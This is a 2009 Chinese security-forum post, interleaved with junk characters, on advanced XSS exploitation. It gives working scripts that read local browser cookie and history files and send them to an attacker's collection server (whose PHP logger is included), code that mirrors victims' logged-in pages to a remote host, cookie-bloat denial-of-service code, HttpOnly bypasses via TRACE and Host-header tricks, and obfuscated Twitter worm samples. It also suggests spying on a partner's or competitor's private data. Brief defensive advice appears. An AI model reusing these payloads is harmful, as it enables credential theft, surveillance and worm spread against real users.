XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页7 D- W# ~9 h" B! V
本帖最后由 racle 于 2009-5-30 09:19 编辑 4 V: i7 p4 `0 q7 J r/ o
$ r0 }, _7 s0 j$ {( P1 x( SXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页8 x# w( W. [, C( b# f* X- N
By racle@tian6.com 2 X8 d1 H! l0 r( b% Q. G# o
http://bbs.tian6.com/thread-12711-1-1.html
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% [; N$ n) l& @-------------------------------------------前言---------------------------------------------------------
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: q9 L, v* O3 a0 R6 D. U本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
) L% @% f; ^6 i# yhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
! E; L( P& p% m- k. Ohttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
9 h% _- f. G6 W3 _5 n' T. I# y& ]; P! }' Ahttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码; p3 p4 H- e8 @$ b, \8 }) ^- T
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持- }+ X) u, r4 h- d- L$ p7 }
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1 U' p& Z4 V4 I1 h& {如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.3 `* s1 m! d2 f, n5 N; j8 F
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.7 `$ r0 T0 U( K) U$ J5 y8 w: G
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大7 }* k( {* C3 o0 @; s: B2 \8 D
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QQ ZONE,校内网XSS 感染过万QQ ZONE.
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. V1 x7 ]/ n0 o; ^, a- oOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪/ d( Q& X( O) y" y
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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% A3 r$ S# B+ J0 u3 q4 }, g跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.8 e% B2 k" f, {7 [
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.* u1 r4 K( J# b8 u* M o4 ^$ ]. G
我们在这里重点探讨以下几个问题:
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( f5 s5 L0 D( j2 k/ c; Q: B3 q8 H3 T1 通过XSS,我们能实现什么?% U0 `4 c. w, U6 p3 f5 x
& ~; T, S5 [( x3 |2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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------------------------------------------研究正题----------------------------------------------------------
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- f* V& Z& c) D& f) q6 R# S/ l通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
/ y- L! Q- E! t# J n: ^/ z复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
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1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.0 S) p( i% t+ ~0 l
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.; F: n; B' {4 T2 s& R
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.+ k( K, B4 \! M/ z) `' T H
4:Http-only可以采用作为COOKIES保护方式之一.7 T6 r/ R4 B. [1 H4 }
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% s/ i6 g5 O' C: Z5 d8 h5 ~(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)( \6 m, Y% i7 I1 B' z, p3 m" t" h$ H1 e
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1 V0 @* G/ ], |+ r* l1 r! B, Z 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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: ]- W* \7 ~& B. Z2 W 3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。/ e# h A a8 h% Q4 u4 W6 h0 K
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
/ Y$ p) s. }$ r% M) s8 }复制代码IE6使用ajax读取本地文件 <script>/ \+ M6 e4 v: A/ w6 c C/ q
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function $(x){return document.getElementById(x)}' U$ l, K7 n: k" |4 h
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var request = false;" w0 R7 V+ e3 V0 n
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if(window.XMLHttpRequest) {! [4 x5 o: v9 I$ r
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} else if(window.ActiveXObject) {
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for(var i=0; i<versions.length; i++) {
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try {
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request = new ActiveXObject(versions);4 T" F; h4 v% }5 z( z4 W- _; }6 I! J
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}
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function _7or3(_m,action,argv){
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_x.open(_m,action,false);( D( Y7 l3 r$ x5 D
" S0 M, _- H* \ C! r8 J: m if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");; Z; z( N( N4 Y1 r, U) H3 t
/ B' {7 K! s4 B" c: B _x.send(argv);, b9 Z4 K" _3 ?$ z: x1 W
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);1 o) i1 O+ D+ w: j2 F
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) ~3 @! H$ W4 j4 Z: T, a </script>
' J: U/ ]0 I/ U" N# A复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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function $(x){return document.getElementById(x)}4 `, k" ^1 T2 l5 ?2 W6 l8 k+ d
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function ajax_obj(){+ I/ G, Q1 p5 X* z1 T8 L5 N
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if(window.XMLHttpRequest) {
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} else if(window.ActiveXObject) {
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3 w: A0 |2 Z- H; @$ Y" [4 E var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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7 Y% T9 ^4 r4 }0 T for(var i=0; i<versions.length; i++) {4 j2 c3 I: Y5 n" U% t
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try {, t9 ?& Q/ M2 X& v" X
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request = new ActiveXObject(versions);
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}
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return request;
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var _x = ajax_obj();
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);
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return _x.responseText;" z% D& E* r1 H. h& v
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}
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: x+ U; W8 _ e# m+ K6 ] var txt=_7or3("GET","1/11.txt",null);0 Q: D6 B& A' ?, W7 T5 U$ Q9 H
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alert(txt);
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</script>
5 ?9 M2 l+ f4 R$ a! D复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”- G& `8 C! \8 o7 \
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1 M/ Q- c( x/ X! a) V9 K0 r$ qChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<?
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/*
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Chrome 1.0.154.53 use ajax read local txt file and upload exp ' g+ C0 j# n5 k+ x& u; \
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www.inbreak.net , P3 u9 ]5 J" c' N" h( M1 i" b: P1 k
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author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/ 9 e7 r2 G. G9 d3 c0 V& L, x7 N
# {5 `1 D* I* r& X* ?2 \& x2 V1 xheader("Content-Disposition: attachment;filename=kxlzx.htm"); 9 B' H) t1 t1 j3 E0 B) N
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header("Content-type: application/kxlzx");
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/*
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' W7 W0 j" y \( J' a# M set header, so just download html file,and open it at local.
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6 y3 K, z) U& Y9 f' ~2 q<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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; y/ N2 C6 m5 p6 u& o <input id="input" name="cookie" value="" type="hidden">
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</form>
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<script>
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+ M* e! {/ f5 Y: a) d0 `9 m0 a! ]& lfunction doMyAjax(user)
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var time = Math.random();
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- b% A* z2 B+ |& b3 v/* 6 z) ]9 f0 k' O# F. h. T2 k
$ k7 r% ]$ P$ P# {4 X2 jthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 5 \" N/ e. | f9 ` H' ?
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History + l% t/ p. x* _
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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. q7 p1 }/ H1 H8 Y8 K8 @& U) YstartRequest(strPer); . m+ S( }: n' `5 i$ q4 t9 |
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function Enshellcode(txt) ! z0 @. V2 I+ V, a5 [+ v2 ?
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" W0 N+ h( W( ]2 r$ @7 k/ M# Q6 Yvar url=new String(txt);
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6 e, G2 D9 K: |( }8 Lvar i=0,l=0,k=0,curl=""; : U1 Y) W+ R+ ]
6 H) j6 }; S' l& Sl= url.length; 7 k- I' R) Y2 y
. [( H" w2 d# x6 D2 rfor(;i<l;i++){
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5 ?' |7 d ?: V1 _k=url.charCodeAt(i);
- {5 f) h: p* X
@* g; C8 f5 }if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} ) k) D8 b) h, ?! h! S
9 H1 ~/ k) y( C8 wif (l%2){curl+="00";}else{curl+="0000";}
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curl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl;
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} ! L& ~/ z7 w$ p0 k& { I. Q
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1 e m, @: Q$ L e% G6 k: n Yvar xmlHttp;
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' W* J/ g z& F% b# n* `" @function createXMLHttp(){
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if(window.XMLHttpRequest){
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3 {* t, X7 ~9 W) k$ kxmlHttp = new XMLHttpRequest();
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- h. _6 f2 P0 {$ O } 7 V, R# b- }8 m N* j; w7 m, J
9 F7 Y7 R- _' L8 e- X# l else if(window.ActiveXObject){ 4 v6 J E% u" b! D; K* I
+ p4 f: }6 z4 `2 s$ F! d7 y
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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' N5 i$ z/ t) l8 `1 [* L4 \}
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3 [. w1 ^! K/ {5 o
function startRequest(doUrl){
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3 R: X* o) R) o( n0 G8 \6 m
: O: J/ E- y4 C9 }( m createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange; 7 H) p% F+ @; P: A
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. U: c( |. f+ J* S$ g7 E" p+ B4 @ ? xmlHttp.open("GET", doUrl, true); : A$ ]" P! O6 J- T0 D; _
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; U0 n; ^1 k4 p6 h. @7 S xmlHttp.send(null); 8 G( |5 R _) F e g2 U$ R
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}
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: h% T# q; u8 H
8 D/ f6 ^& ^- q* D e' Y) C hfunction handleStateChange(){ ) x8 b8 |, e3 o( C3 H+ O3 _
0 R% {& q3 t# k6 x, ^6 h$ G if (xmlHttp.readyState == 4 ){ : M3 g0 y, ?3 g! W+ X( L3 s2 }, z
. A6 B! N5 {/ G9 N6 x5 G1 G3 @ var strResponse = ""; * {, j, C: ^; v& Z! E4 q
+ y; Y$ N: J( N, Z; w% y! ] setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); , Q9 ] Q* O+ C
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} 3 r3 j1 K8 U/ ~
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$ P6 {$ b. [0 L; U$ |/ V L8 ?' X; o9 E0 a a& H
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function framekxlzxPost(text)
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{
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- x7 w- ~! M9 p3 k& W! t0 ^ document.getElementById("input").value = Enshellcode(text); 1 S+ Q ]4 L. l. u; e1 U! t- O
* p3 ~0 U) G _' Y( P document.getElementById("form").submit(); ) @7 P7 f9 k K9 k* ^
( C* p1 V2 w$ o/ T}
6 j8 [: e& U* j3 Y1 `6 [2 t4 ^) u+ T& b$ u" I
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! B: v+ i1 ^+ a' sdoMyAjax("administrator");
3 Y1 {( @6 B+ Q9 B& e, y! Q$ T* A0 b) _
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( J+ o9 W; `7 U/ G4 \</script>
* B6 r3 c2 _8 m$ p- D7 Q复制代码opera 9.52使用ajax读取本地COOKIES文件<script>
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) M4 v4 ^: u* dvar xmlHttp;
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function createXMLHttp(){
M7 ]. a" r, r \
8 v/ U1 R8 C; {8 z+ s: z if(window.XMLHttpRequest){ / n/ A" I& q) x) A
) e* T0 A4 A6 l2 f% {$ W( C xmlHttp = new XMLHttpRequest();
2 d# H/ U) @( R! r( a' M) D. K, x% q7 ]4 R+ K3 {
}
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else if(window.ActiveXObject){
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5 S. J) q. @( M0 h) \: i" x xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ! ?: G( `# ?1 f: a: Y5 p9 Q
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}
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function startRequest(doUrl){ , U( S7 N9 [% i5 m, o- m
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createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange; - }" w6 \ g3 s& d* w! j6 H
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xmlHttp.open("GET", doUrl, true); 8 b; y' P3 v$ J' Q1 K2 Q4 Y& P
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xmlHttp.send(null); ; n* x* c) t. P9 m$ { x
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}
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function handleStateChange(){
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if (xmlHttp.readyState == 4 ){
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O1 [; _$ E5 L var strResponse = "";
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setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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}
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* ?( _7 }& a4 I7 ^4 d* U
6 J) `. }3 E: s( afunction doMyAjax(user,file)
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9 n5 s$ z$ |3 A& }) e{ / h4 {# M% ^1 b' I4 x+ ^9 |: H
( H, @8 o5 S. Z+ J, ? @' g var time = Math.random(); 9 m. h* p0 J4 W" U1 K& v
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time; ( ~ \7 E: _/ U8 C$ n% x* X4 U
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startRequest(strPer); - ?6 q8 S8 C$ `1 z7 d0 e
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- e- O5 s+ N& e}
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! G& R- T' d' u H) `1 b, @function framekxlzxPost(text) ( ^: v# G7 y& L; O3 B9 o
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{ 3 e1 g, [% J+ y
2 o+ g: N2 W, o* r document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); & l. o: ?# h, l- e, C
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alert(/ok/);
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1 z) m0 _" u0 ^+ {2 S" ~5 j& q& H}
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) }. \/ Q; ]- Y2 M& m3 R( l
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doMyAjax('administrator','administrator@alibaba[1].txt'); ; {( b, `* g% d/ V
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) P; V4 J- ~9 m. a, I</script>% ^$ i5 j6 g2 Y. F
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a.php& F$ `; L* Y y1 L j0 {! @
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<?php # I9 ?9 p( B+ f% j; t
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0 a& W* M; i& v1 q) ^# a$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; % ?9 N; \+ |" U1 t) d6 U! }1 Q( I8 `
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& z/ q9 D: [" P1 [, {% L9 i( c7 A7 _/ E3 p4 m* T. W1 ^
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
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fwrite($fp,$_GET["cookie"]);
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8 D: N. ?7 y. w* `) yfclose($fp); 5 J' U/ G. Z2 ~6 P7 Z* u8 n& [+ y
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:0 O( V+ V+ u8 |$ i
* y+ f5 `8 h8 g3 T# P; m9 Z1 y或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.7 P, v. A; B" D: K
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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, c2 E% d1 h$ x, N% J代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);7 G9 k8 h, N7 a0 S& ^
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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function getURL(s) {
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var image = new Image();9 S1 k8 t1 |. |4 [5 z- c3 H
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image.style.width = 0;
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image.style.height = 0;2 u" R7 Z' i" h# \
0 V7 K* K1 h( B& Cimage.src = s;
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}
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. R1 p9 h4 q* Y. n( ygetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
9 e8 y+ Z1 V0 g; d8 x' r. l复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.0 D- J( B% {! q& s: {0 j
这里引用大风的一段简单代码:<script language="javascript">
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var metastr = "AAAAAAAAAA"; // 10 A6 i* I. a* e. D/ i; O
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var str = "";0 r* [$ F. z# }+ a# O" J A; R' G! U8 ~
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while (str.length < 4000){5 f; K' \, a5 A: h& O
( ]- N! H0 H9 w& _ k: C* ~7 ~ str += metastr;
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; P1 z, Z L: Z& {! J) Q/ cdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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5 t! \9 l; J# Q' j( K1 V! ^" @9 R</script>+ S* w$ {; h% q& u. M; o& w* h( V
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
! ~/ N# g- \8 r) C1 x复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
- @/ F4 Z, b% w8 \server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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9 e2 ^+ B4 `. W# b8 M- J假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
}6 L% Z/ i% N: J {" q- k. P: f攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.2 O, ^+ _9 y+ a& I5 f
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. O$ x9 ~# ?; B2 T/ K7 j$ U, S" M(III) Http only bypass 与 补救对策:0 n4 o1 I( y+ a% G
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.' G& ?( k/ R" i* Q( c0 N6 c
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
H4 _+ p# z+ Z! Q0 y' c' J0 N
, x7 Z5 j5 W7 s2 S7 S% d<!--
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# `) {- _) [; Bfunction normalCookie() {
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. G/ K3 h. N4 t( k- u3 [4 c) n' Udocument.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);
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+ j. B4 }( `+ q1 J( ]* h7 Q! G: n5 r2 u1 V/ ~- n
function httpOnlyCookie() { 1 @+ m- N2 T" T' v: I
% ?9 C; r. o" H/ E$ `document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}
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//-->
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- K! D/ h* x, b: x' R</script>
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5 ^9 O z' t2 t* f) e$ ^% t+ T, o" E1 _. \, M5 H
6 \" w+ C& S1 Z/ y, j \<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>8 `5 x/ T1 b0 c& d
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>0 O8 I8 P# l; K4 s- h( A
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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( w" x( k; O5 d6 h
% X- F9 b" |0 U# M" ~
( Q* B% r% j, u7 R+ b7 J: vvar request = false;( s6 W' R) g* R3 V) p
2 |' s( S l' g3 C
if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
* t+ M6 R3 k" Q' ?
( Y) f0 L( I5 W$ s- L if(request.overrideMimeType) {
9 c0 N/ a( o- v( t1 H! P' B0 A3 {$ Z, _' D( J
request.overrideMimeType('text/xml');7 ]5 ?1 y8 ]1 x$ ^; ^
0 G# a* j3 w/ }; D1 j
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} else if(window.ActiveXObject) {4 |4 Y# A- ^6 o. L$ A
. v* k" b. T2 x var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];7 O" h) r/ Q- F( b
8 I1 h1 l8 {( c9 v8 H
for(var i=0; i<versions.length; i++) {! Y& I1 n! a5 X9 S+ e7 D1 n6 K$ |
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try {
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request = new ActiveXObject(versions);+ O. w( X V( t* \
+ x! v k" C; o8 [" ?/ I } catch(e) {}
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}
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/ w2 g8 i! {/ ? a& ?0 t2 U8 uxmlHttp=request;7 l9 j" R% r6 Q, n9 u0 O: w
) {$ v1 G2 G" l
xmlHttp.open("TRACE","http://www.vul.com",false);) ^# c8 m8 O2 f- `3 p# E
/ Z- ?$ [ `( ?/ m' x8 vxmlHttp.send(null);
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( W, X6 D% f% @- ExmlDoc=xmlHttp.responseText;
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( Z7 \' t' l4 ~, a6 ` Xalert(xmlDoc);8 O; N/ W! N9 z
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</script>6 ~1 Y4 ]. L# r. s# x# r! F
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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- H* n' X1 w; C- Uvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");6 ]5 D! y3 ^/ ?. X) v, H2 f1 B9 f2 x
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XmlHttp.open("GET","http://www.google.com",false);3 S1 e5 R7 J6 T
3 Z1 G( l: g9 r& u" L1 MXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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- O4 X/ q# Y: _0 |' W, aXmlHttp.send(null);! l8 X2 t3 U2 ^. ?5 F# U
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var resource=xmlHttp.responseText
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* }) Y2 y+ E+ Q5 Aresource.search(/cookies/);
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......................2 C/ P# C9 t8 \( V: w
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</script>
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如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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[code]
' J1 L" h( s# d8 O& Z" o- i0 D% }# C s; n& |
RewriteEngine On1 @8 q* r: J* \1 y! i
3 d5 k8 r# v" r. E, E, F- sRewriteCond %{REQUEST_METHOD} ^TRACE8 o$ \8 P2 M; j
- k3 p0 k+ M) _& \RewriteRule .* - [F]. u0 k8 v6 l" ]9 d1 S
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3 c$ A* B' N" E0 G- S$ X4 {
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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acl TRACE method TRACE
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http_access deny TRACE9 j9 c- ?" `% x1 D. q v) S
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");7 U3 u b1 T3 v- ]3 F, u
& l, \- z6 u; {3 u" q' U* aXmlHttp.open("GET","http://www.google.com",false);6 P( _1 n; i; _+ k: K/ q) l" b
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");1 n0 k3 _3 Z! V6 a0 z
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XmlHttp.send(null);/ r. ^( q% A! r7 ^) M9 c! e' l; [
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</script>5 k {7 D4 @3 J( I# @
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>- k+ ~( r' A) {1 d6 M
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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. F7 y$ f. h# G7 UXmlHttp.send(null);( p1 h4 w0 s! \6 D3 s |# c
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<script>$ i$ T) c2 R" }% V/ h0 C
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.) \9 c- s& T; Q, Z4 B$ f( x
复制代码案例:Twitter 蠕蟲五度發威0 } n: T& B, m3 M* }
第一版:
9 x* Z. T6 I0 i" n% ~ 下载 (5.1 KB)9 E' Y% e! Y. g8 y6 V
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6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; 9 d1 ?9 y$ O0 q6 Q3 q
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3. function XHConn(){
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7 m8 b0 s( t/ v8 A 4. var _0x6687x2,_0x6687x3=false;
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 1 t$ U; ]7 u3 v+ H
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } ) F/ p/ k* R' ^$ W$ |! J* [
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8. catch(e) { _0x6687x2=false; }; }; }; # Z* r% T& t) _& ~, t- p, P
复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML; 8 @+ s# M7 F! F. X `2 n
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3. var tmp_cookie=document.cookie; : f+ g2 T+ A# w* ]
0 a0 L, o+ G. X% z1 G7 ?# E! s" ? 4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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$ R5 v+ d! d. H5 l 6. var authtoken=authreg.exec(content); # K' ^3 D3 Y+ n9 _# i7 u0 b* I
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7. var authtoken=authtoken[1]; / W1 G) ?, b% H9 f) \2 K; k( _
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8. var randomUpdate= new Array(); D. I6 o# D: S) r. a" Y d5 ]1 I
T* a; j2 W2 f! O. {; G- W 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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- Z8 D _; z) l6 E 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 0 x: K' C3 m! H8 @
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; A- s m- w) \4 h7 n2 }
